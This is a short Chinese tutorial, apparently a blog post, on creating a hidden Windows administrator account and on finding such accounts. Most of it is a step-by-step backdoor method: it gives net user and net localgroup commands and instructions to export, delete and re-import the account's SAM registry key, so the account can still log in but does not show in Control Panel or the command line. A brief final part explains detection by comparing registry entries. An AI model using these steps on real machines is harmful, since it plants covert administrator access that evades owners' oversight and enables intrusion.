windows建立隐藏用户及查找隐藏用户

建立隐藏用户

1.cmd> net user 用户名$ 密码 /add
hint: cmd> net localgroup administrators 用户名$ /add
(将用户添加进管理员组)

2.cmd> regedit
路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users
右击导出Users表 第[names表下的用户名所对应的顺序]位置的表项

3.cmd> net user 用户名$ /del

4.把导出的注册表重新导入到注册表里.接着注销。
测试:用隐藏用户登录 发现也可以。 而在控制面板和DOS窗口下 无法查到

查找隐藏用户

cmd> regedit
路径 HKEY_LOCAL_MACHINE --SAM–SAM(需要右击权限修改管理员权限)-Domains-Account-users
查看Users表项与Names表项中的项数量是否一致
if 数量一致:无隐藏用户
else: 对照其它电脑用户注册表 即可找出隐藏用户表项

你可能感兴趣的:(windows,操作,后门,安全,隐藏用户,windows,后门)